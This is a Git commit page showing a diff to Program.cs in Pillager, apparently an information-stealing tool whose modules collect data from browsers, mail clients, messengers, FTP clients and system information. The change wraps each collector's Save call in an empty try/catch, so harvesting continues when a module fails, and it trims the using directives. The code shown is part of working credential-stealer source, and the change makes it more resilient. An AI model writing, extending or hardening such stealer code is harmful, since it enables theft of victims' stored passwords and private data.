Update Program.cs

This commit is contained in:
簞純 2024-09-07 23:36:31 +08:00
parent 48499d7bff
commit 82aca68d92
1 changed files with 13 additions and 12 deletions

View File

@ -2,14 +2,7 @@
using System.Diagnostics;
using System.IO;
using System.Reflection;
using Pillager.Browsers;
using Pillager.FTPs;
using Pillager.Helper;
using Pillager.Mails;
using Pillager.Messengers;
using Pillager.Softwares;
using Pillager.SystemInfos;
using Pillager.Tools;
namespace Pillager
{
@ -64,9 +57,13 @@ namespace Pillager
{
if (type.IsSubclassOf(typeof(ICommand)))
{
File.AppendAllText(logpath, "Try to save "+type.Name +" to "+ savepath+". ");
var instance = (ICommand)Activator.CreateInstance(type);
instance.Save(savepath);
File.AppendAllText(logpath, "Try to save " + type.Name + " to " + savepath + ". ");
try
{
var instance = (ICommand)Activator.CreateInstance(type);
instance.Save(savepath);
}
catch { }
File.AppendAllText(logpath, "Finished!" + Environment.NewLine);
}
}
@ -81,8 +78,12 @@ namespace Pillager
if (type.IsSubclassOf(typeof(ICommandOnce)))
{
File.AppendAllText(logpath, "Try to save " + type.Name + " to " + savepath + ". ");
var instance = (ICommandOnce)Activator.CreateInstance(type);
instance.Save(savepath);
try
{
var instance = (ICommandOnce)Activator.CreateInstance(type);
instance.Save(savepath);
}
catch { }
File.AppendAllText(logpath, "Finished!" + Environment.NewLine);
}
}